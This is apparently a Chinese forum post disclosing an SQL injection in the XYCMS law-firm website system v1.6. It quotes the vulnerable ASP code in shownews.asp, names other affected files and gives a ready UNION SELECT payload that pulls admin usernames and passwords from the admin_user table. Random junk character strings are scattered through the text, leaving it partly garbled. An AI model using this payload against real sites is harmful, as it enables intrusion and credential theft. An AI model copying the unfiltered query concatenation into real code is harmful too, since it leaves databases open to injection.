XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
) u7 Y; X% f( y: Q: S: x6 |, f
淫荡分割线
--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
漏洞代码：7-13行
: f7 I5 f6 d5 H4 y( j& {

. s+ Z7 f4 c7 v) v2 M5 W<%
id=request.QueryString("id")
6 ~' P, n1 T( y7 i   
6 k$ U( d5 u8 J$ x) i. q5 kset snews=server.createobject("adodb.recordset")
, j$ H5 [' U8 L( V# z- Zexec="select * from [news] where id="&id
snews.open exec,conn,1,1
' N6 s( L% k2 U3 Z2 h# W%>
1 F1 r4 O8 k/ l7 a

* h1 i. Z+ ^* C) H什么过滤都没有  直造成注入
8 B6 W7 _8 v. w2 N
# Y$ ]' O( ~) J8 w! P/ j9 _注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

6 Y: o' P4 L1 I1 ?& ?, J
" u0 w3 j# \7 ~exp: union select 1,admin,password,4,5,7 from admin_user
1 F6 w! T2 r3 a- C# H; m​